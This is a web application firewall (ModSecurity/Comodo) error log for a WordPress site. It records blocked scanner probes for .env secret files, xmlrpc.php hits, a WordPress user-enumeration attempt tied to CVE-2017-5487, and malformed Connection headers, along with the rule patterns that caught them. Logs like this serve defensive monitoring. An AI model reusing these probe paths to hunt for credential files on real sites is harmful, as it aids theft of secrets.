[Mon May 11 15:22:53.501820 2026] [:error] [pid 4685:tid 4693] [client 93.158.213.26:52500] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "agGDzXwrjbU4NZilCZ-vGgAAAQU"]
[Mon May 11 15:22:55.514904 2026] [:error] [pid 58616:tid 58646] [client 93.158.213.26:52510] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "agGDz9nsbeF5ioCAecjToAAAAMA"]
[Mon May 11 15:48:56.427623 2026] [:error] [pid 58615:tid 58627] [client 188.225.232.41:60770] [client 188.225.232.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.225.232.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agGJ6FK28yH055J8TSrHCAAAAAg"]
[Mon May 11 15:49:07.457885 2026] [:error] [pid 58677:tid 58688] [client 188.225.232.41:61141] [client 188.225.232.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.225.232.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agGJ8xasRhyteIXf1RVAGwAAAIA"]
[Mon May 11 15:49:18.674717 2026] [:error] [pid 4685:tid 4699] [client 188.225.232.41:61487] [client 188.225.232.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.225.232.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agGJ_nwrjbU4NZilCZ-4UAAAAQs"]
[Mon May 11 15:49:29.950760 2026] [:error] [pid 58677:tid 58710] [client 188.225.232.41:61832] [client 188.225.232.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.225.232.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agGKCRasRhyteIXf1RVASQAAAJY"]
[Mon May 11 15:49:41.230134 2026] [:error] [pid 4645:tid 4668] [client 188.225.232.41:62179] [client 188.225.232.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.225.232.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agGKFXy4dxn8-Cx5vOWLPQAAAFQ"]
[Mon May 11 17:02:34.837983 2026] [:error] [pid 4685:tid 4697] [client 43.131.253.14:50732] [client 43.131.253.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agGbKnwrjbU4NZilCZ_JxAAAAQk"]
[Mon May 11 17:28:46.664451 2026] [:error] [pid 4685:tid 4710] [client 106.54.62.156:58792] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agGhTnwrjbU4NZilCZ_P7wAAARY"]
[Mon May 11 18:02:17.131884 2026] [:error] [pid 4645:tid 4661] [client 34.51.125.206:36214] [client 34.51.125.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.docker"] [unique_id "agGpKXy4dxn8-Cx5vOWgugAAAE0"]
[Mon May 11 18:02:17.177664 2026] [:error] [pid 4645:tid 4670] [client 34.51.125.206:36206] [client 34.51.125.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.local"] [unique_id "agGpKXy4dxn8-Cx5vOWguwAAAFY"]
[Mon May 11 18:02:17.365196 2026] [:error] [pid 58677:tid 58697] [client 34.51.125.206:36230] [client 34.51.125.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "agGpKRasRhyteIXf1RVSkwAAAIk"]
[Mon May 11 18:02:17.411058 2026] [:error] [pid 58677:tid 58696] [client 34.51.125.206:36246] [client 34.51.125.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/app/.env"] [unique_id "agGpKRasRhyteIXf1RVSlAAAAIg"]
[Mon May 11 18:02:17.440306 2026] [:error] [pid 58615:tid 58623] [client 34.51.125.206:36258] [client 34.51.125.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/api/.env"] [unique_id "agGpKVK28yH055J8TSrTeQAAAAQ"]
[Mon May 11 18:02:17.618326 2026] [:error] [pid 58677:tid 58703] [client 34.51.125.206:36272] [client 34.51.125.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.dev"] [unique_id "agGpKRasRhyteIXf1RVSlQAAAI8"]
[Mon May 11 18:02:17.810014 2026] [:error] [pid 58750:tid 58756] [client 34.51.125.206:36304] [client 34.51.125.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.dev.local"] [unique_id "agGpKTBVaNG3wJtPBU-iwwAAAUQ"]
[Mon May 11 18:02:17.810586 2026] [:error] [pid 4645:tid 4659] [client 34.51.125.206:36282] [client 34.51.125.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.development.local"] [unique_id "agGpKXy4dxn8-Cx5vOWgvQAAAEs"]
[Mon May 11 18:02:17.815440 2026] [:error] [pid 4645:tid 4668] [client 34.51.125.206:36274] [client 34.51.125.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/admin/.env"] [unique_id "agGpKXy4dxn8-Cx5vOWgvgAAAFQ"]
[Mon May 11 18:02:17.819825 2026] [:error] [pid 4645:tid 4663] [client 34.51.125.206:36296] [client 34.51.125.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/app/.env.local"] [unique_id "agGpKXy4dxn8-Cx5vOWgvwAAAE8"]
[Mon May 11 18:49:26.031347 2026] [:error] [pid 4685:tid 4688] [client 180.75.237.202:28658] [client 180.75.237.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.75.237.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agG0NnwrjbU4NZilCZ_kYgAAAQA"]
[Mon May 11 18:49:36.480355 2026] [:error] [pid 4685:tid 4705] [client 180.75.237.202:16398] [client 180.75.237.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.75.237.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agG0QHwrjbU4NZilCZ_kbQAAARE"]
[Mon May 11 18:51:06.828616 2026] [:error] [pid 58750:tid 58759] [client 180.75.237.202:31113] [client 180.75.237.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.75.237.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agG0mjBVaNG3wJtPBU-miQAAAUc"]
[Mon May 11 18:51:12.258668 2026] [:error] [pid 58615:tid 58641] [client 180.75.237.202:28611] [client 180.75.237.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.75.237.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agG0oFK28yH055J8TSrYLQAAABY"]
[Mon May 11 18:51:54.207084 2026] [:error] [pid 4685:tid 4695] [client 180.75.237.202:28595] [client 180.75.237.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.75.237.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agG0ynwrjbU4NZilCZ_lKgAAAQc"]
[Mon May 11 20:40:41.509528 2026] [:error] [pid 4645:tid 4655] [client 106.200.8.103:28719] [client 106.200.8.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.8.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agHOSXy4dxn8-Cx5vOW9dQAAAEc"]
[Mon May 11 20:40:51.890736 2026] [:error] [pid 58677:tid 58710] [client 106.200.8.103:32611] [client 106.200.8.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.8.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agHOUxasRhyteIXf1RVp-AAAAJY"]
[Mon May 11 20:41:02.725369 2026] [:error] [pid 4645:tid 4669] [client 106.200.8.103:29476] [client 106.200.8.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.8.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agHOXny4dxn8-Cx5vOW9igAAAFU"]
[Mon May 11 20:41:13.001577 2026] [:error] [pid 58615:tid 58627] [client 106.200.8.103:13455] [client 106.200.8.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.8.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agHOaVK28yH055J8TSrkYwAAAAg"]
[Mon May 11 20:41:23.538345 2026] [:error] [pid 58677:tid 58708] [client 106.200.8.103:28906] [client 106.200.8.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.8.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agHOcxasRhyteIXf1RVqLwAAAJQ"]
[Mon May 11 20:41:33.878814 2026] [:error] [pid 4685:tid 4698] [client 106.200.8.103:22823] [client 106.200.8.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.8.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agHOfXwrjbU4NZilCZ8DRgAAAQo"]
[Mon May 11 21:10:33.101071 2026] [:error] [pid 4685:tid 4702] [client 187.111.133.48:2446] [client 187.111.133.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.111.133.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agHVSXwrjbU4NZilCZ8JRAAAAQ4"]
[Mon May 11 21:10:42.516178 2026] [:error] [pid 4685:tid 4704] [client 187.111.133.48:2232] [client 187.111.133.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.111.133.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agHVUnwrjbU4NZilCZ8JVQAAARA"]
[Mon May 11 21:13:21.021322 2026] [:error] [pid 4685:tid 4699] [client 187.111.133.48:2532] [client 187.111.133.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.111.133.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agHV8XwrjbU4NZilCZ8JmAAAAQs"]
[Mon May 11 21:15:40.340915 2026] [:error] [pid 58750:tid 58771] [client 187.111.133.48:2901] [client 187.111.133.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.111.133.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agHWfDBVaNG3wJtPBU-0CwAAAVM"]
[Mon May 11 21:16:25.001339 2026] [:error] [pid 4685:tid 4694] [client 187.111.133.48:2174] [client 187.111.133.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.111.133.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agHWqXwrjbU4NZilCZ8KtQAAAQY"]
[Mon May 11 21:53:13.032656 2026] [:error] [pid 4685:tid 4708] [client 43.166.128.187:35250] [client 43.166.128.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agHfSXwrjbU4NZilCZ8TMAAAARQ"]
[Mon May 11 22:35:13.676345 2026] [:error] [pid 58677:tid 58710] [client 43.166.129.247:33220] [client 43.166.129.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agHpIRasRhyteIXf1RV33wAAAJY"]
[Mon May 11 23:45:52.172501 2026] [:error] [pid 58616:tid 58648] [client 176.65.139.168:33902] [client 176.65.139.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "agH5sNnsbeF5ioCAecj8EgAAAMI"]
[Tue May 12 00:46:06.589649 2026] [:error] [pid 4645:tid 4651] [client 117.132.188.205:51359] [client 117.132.188.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.132.188.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agIHzny4dxn8-Cx5vOXitAAAAEM"]
[Tue May 12 00:46:14.746628 2026] [:error] [pid 4685:tid 4708] [client 117.132.188.205:51361] [client 117.132.188.205] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "57.141.14.45_bb694759cd2c22a01c1316c1c32e166b75850636"): Internal error (specific information not available) [hostname "gigfragments.org"] [uri "/wp-content/themes/landkit/assets/css/colors/color.css"] [unique_id "agIH1XwrjbU4NZilCZ83KwAAARQ"]
[Tue May 12 01:51:00.748287 2026] [:error] [pid 4645:tid 4651] [client 101.32.128.28:59000] [client 101.32.128.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agIXBHy4dxn8-Cx5vOXr-QAAAEM"]
[Tue May 12 02:48:31.079373 2026] [:error] [pid 4685:tid 4702] [client 43.128.69.143:42716] [client 43.128.69.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agIkf3wrjbU4NZilCZ9MxgAAAQ4"]
[Tue May 12 03:42:57.633018 2026] [:error] [pid 55559:tid 55618] [client 88.166.28.185:39440] [client 88.166.28.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.166.28.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agIxQdj0hVMLJAOI_fwpswAAAQE"]
[Tue May 12 03:46:22.111191 2026] [:error] [pid 39956:tid 39981] [client 88.166.28.185:46692] [client 88.166.28.185] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "agIyDo2K3wZDsNji3My6PAAAABA"]
[Tue May 12 03:46:39.683102 2026] [:error] [pid 55559:tid 55643] [client 88.166.28.185:42614] [client 88.166.28.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.166.28.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agIyH9j0hVMLJAOI_fwqWQAAARY"]
[Tue May 12 03:46:57.244635 2026] [:error] [pid 40061:tid 40080] [client 88.166.28.185:36288] [client 88.166.28.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.166.28.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agIyMbycIKt8hxHMBYtxoQAAANE"]
[Tue May 12 03:47:12.044071 2026] [:error] [pid 55559:tid 55624] [client 88.166.28.185:33955] [client 88.166.28.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.166.28.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agIyQNj0hVMLJAOI_fwqcwAAAQY"]
[Tue May 12 03:47:27.958729 2026] [:error] [pid 39956:tid 39980] [client 88.166.28.185:38071] [client 88.166.28.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.166.28.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agIyT42K3wZDsNji3My6VAAAAA8"]
[Tue May 12 06:06:21.055926 2026] [:error] [pid 39956:tid 39971] [client 139.155.134.17:33134] [client 139.155.134.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agJS3Y2K3wZDsNji3MzEqQAAAAY"]
[Tue May 12 06:14:08.245549 2026] [:error] [pid 39958:tid 40030] [client 129.226.83.4:53276] [client 129.226.83.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agJUsOVI9FVDxXB2Xxgq0QAAAIs"]
[Tue May 12 07:50:16.585358 2026] [:error] [pid 39957:tid 40011] [client 160.30.179.145:56936] [client 160.30.179.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "agJrOOAfHHyq0DBh5BIBmwAAAFM"]
[Tue May 12 10:18:45.024509 2026] [:error] [pid 39958:tid 40040] [client 101.32.239.179:57630] [client 101.32.239.179] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agKOBeVI9FVDxXB2XxhHyQAAAJU"]
[Tue May 12 11:05:58.516620 2026] [:error] [pid 55559:tid 55634] [client 43.156.204.134:56518] [client 43.156.204.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agKZFtj0hVMLJAOI_fx8GAAAAQ8"]
[Tue May 12 11:37:07.523470 2026] [:error] [pid 42143:tid 42148] [client 103.251.208.39:57397] [client 103.251.208.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.251.208.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agKgY0S2WmK92iCO2L2lIQAAAUE"]
